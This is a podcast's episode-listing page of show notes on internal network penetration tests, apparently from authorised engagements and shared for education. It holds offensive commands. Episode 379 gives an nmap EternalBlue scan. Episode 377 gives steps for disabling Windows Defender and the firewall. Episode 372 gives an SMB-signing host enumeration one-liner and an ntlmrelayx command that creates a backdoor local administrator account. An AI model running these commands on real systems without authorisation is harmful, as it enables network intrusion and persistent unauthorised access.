7 Minute Security

Latest Episodes:

7MS #380: Tales of Internal Network Pentest Pwnage - Part 8 Sep 05, 2019

Show notes

Today's episode is brought to you by ITProTV. It's never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://itpro.tv/7minute.

Today's episode is a continuation of episode #379, where we:

Conducted general nmap scans (and additional scans specifically looking for Eternal Blue)
Sucked our nmap scans into Eyewitness
Captured and cracked some creds with Paperspace
Scraped the company's marketing Web site with brutescrape and popped a domain admin account (or so I thought!)

Today, the adventure continues with:

Checking the environment for CVE-2019-1040
Picking apart the privileges on my "pseudo domain admin" account
Making a startling discovery about how almost all corp passwords were stored

Enjoy!

7MS #379: Tales of Internal Network Pentest Pwnage - Part 7 Aug 30, 2019

Show notes

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!

This episode, besides talking about a man who screamed at me for not being on my cell phone, covers another tale of internal network pentest pwnage! Topics/tactics covered include:

Review of setting up your DIY pentest dropbox
Choosing the right hardware (I'm partial to this NUC)
Running Responder to catch creds
Using Eyewitness to snag screenshots of stuff discovered with nmap scanning
Nmap for Eternal Blue with nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010 192.168.0.0/24
Running Sharphound to get a map of the AD environment
Cracking creds with Paperspace
When cracking, make sure to scrape the customer's public Web sites for more wordlist ideas!

7MS #378: Interview with Zane West of Proficio Aug 22, 2019

Show notes

In today's episode, I sit down with Zane West of Proficio. Zane has been in information security for more than 20 years - starting out in the "early days" as a sysadmin and then moved up into global infrastructure architect function in the banking world. Today Zane manages Proficio's solution and product development. I sat down with Zane over Skype to talk about how companies can better analyze and defend their networks against attacks. Specifically, we talk about:

How important is it to have an IT background before you jump into security?
How can newb(ish) security analysts and pentesters better understand the political/financial struggles a business has, rather than charge in and scream "PWN ALL THE THINGS!"
Is there a "right way" to step into an organization, get a lay of the land and discover/prioritize their security risks?
Why in the world does it take twenty seven people to run a SOC?!
When should an organization consider engaging an MSSP to help them with their security needs?
What if your MSP also provides MSSP services? Is that a good or bad thing?
What are some tips for successfully deploying a SIEM?
What is the cyber kill chain about, and is it only something for the Fortune X companies, or can smaller orgs tip their toe in it as well? (Here's a nice graph to help you understand it)

7MS #377: DIY Pentest Dropbox Tips Aug 16, 2019

Show notes

In today's episode I cover some of the nasty "gotchas" I've run into when sending my pentest dropboxes around the country. Curious on how to setup your own portable pentest dropboxes (and/or pentest lab environments)? Check out part 1 and part 2 of the DIY Pentest Lab video series.

Here are some of the pain points I cover today:

Turn the firewall off Set Computer Configuration > Policies > Administrative Templates > Network > Network Connections > Windows Firewall > Domain Profile > Windows Firewall: Protect all network connections to Disabled. Do the same for the Standard Profile by changing Computer Configuration > Policies > Administrative Templates > Network > Network Connections > Windows Firewall > Standard Profile > Windows Firewall: Protect all network connections to Disabled.
Disable Windows Defender Navigate to Computer Configuration > Administrative Templates > Windows Components > Windows Defender and choose Turn Off Windows Defender.
Disable power sleep settings To stop computers from snoozing on the job, head to Computer Configuration > Policies > Administrative Templates > System > Power Management > Sleep Settings and set Allow standby states (S1-S3) when sleeping (plugged in) to Disabled
Create a second disk on the Windows management VM and install BitLocker to Go

Check out today's show notes at 7ms.us for more info!

7MS #376: Tales of SQL Injection Pwnage Aug 12, 2019

Show notes

We cover a lot of ground today on a variety of topics:

I have an Oculus Quest now and I love it. My handle is turdsquirt if you ever wanna shoot some zombies together.
I share a story that yes, does involve poop - but only the mention of it. It's nothing like the epic tale (tail?) of my parents' dog pooping in my son's dresser drawers.
I had a really fun pentest recently where I found some good old school SQL injection. I took to Slack to share and since then, several of you have reached out to ask how I found the vulnerability. Here are some steps/tips I talk about on today's episode that will help:
- Watch Sunny's Burp courses on Pluralsight to enhance your Burp abilities
- Install CO2 from the BApp store
- When doing a Web app pentest, feed various fields SQL injection payloads, such as the ones in PayloadsAlltheThings
- Grab a copy of sqlmap
- Use sites like this one to help tune your sqlmap commands to find vulnerabilities. In the end, my command I used to dump contents of important tables was this:

(See today's show notes on the 7MS Web site for more information!)

7MS #375: Tales of Pentest Fail #3 Aug 02, 2019

Show notes

I swear this program isn't turning into the Dr. Phil show, but I have to say that sharing tales of fail is extremely therapeutic for me, and based on your comments, it sounds like many of you feel the same way too.

Today's takeaways include:

Doing a 8-10 hour internal pentest is probably overly ambitious. Seriously, it's really NOT a lot of time.
If a client uses a logging/alerting system, vulnerability scanning is very loud to their digital ears
Checking for DNS zone transfers is a good idea!

7MS #374: Tales of Internal Pentest Pwnage - Part 6 Jul 24, 2019

Show notes

Ok, I lied a few episodes ago, and I'm sorry! I was on an epic road trip this week and suddenly remembered the pentest that really had the shortest TTDA (time to domain admin) ever. Enjoy that tale on today's podcast! Oh, and I also reference this gist which might help you test your SIEM bells and whistles.

Psssst - I'm sorry (but not sorry) but this episode begins with a long story about a dog pooping inside a dresser drawer. If you'd rather skip that, the actual episode begins at about 29:00)

7MS #373: Tales of Pentest Fail #2 Jul 19, 2019

Show notes

Today's episode is a two-tale story of me failing fantastically at vulnerability scanning early in my security career. Enjoy. Because I didn't at the time. :-)

7MS #372: Tales of Internal Pentest Pwnage - Part 5 Jul 15, 2019

Show notes

Today I share the (hopefully) exciting and fun conclusion to last week's episode about a tale of internal pentest pwnage! A few important notes from today's episode:

Need to find which hosts on your network have SMB signing disabled, and then get a nice clean list of IPs as a result? Try this:

opt/responder/tools/RunFinger.py -i THE.SUBNET.YOU-ARE.ATTACKING/24 -g > hosts.txt grep "Signing:'False'" hosts.txt | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' > targets.txt

Source: Pwning internal networks automagically

Ready to pass captured hashes from one host to another? Open responder.conf and turn SMB and HTTP to Off, then get Responder running in one window, and ntlmrelayx in another. Specifically, I like to use ntlmrelayx.py -tf targets.txt where targets.txt is the list of machines you found that are not using SMB signing. I also like to add a -c to run a string of my choice. Check out this fun evil little nugget:

net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add

So the full command would be:

ntlmrelayx.py -tf targets.txt -c 'net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add'

Check today's show notes at https://7ms.us for more information!

7MS #371: Tales of Internal Pentest Pwnage - Part 4 Jul 12, 2019

Show notes

Happy belated 4th of July! Today I've got another fun tale of internal pentest pwnage that comes out of a few recent assessments I did. These tests were really fun because the clients had good defensive measures in place, such as:

Having separate accounts for day-to-day operations and administrative/privileged tasks
Local Administrator account largely disabled across the enterprise
Lean membership in privileged groups (Domain Admins, Enterprise Admins, Schema Admins, etc.)
Hard-to-crack passwords!

Will I succeed in getting a solid foothold on this network and (hopefully) escalate to Domain Admin? Check out today's episode to find out!

Our TOPPODCAST Picks

Follow Us

Stay Connected

Related Podcasts

Links

Stay Connected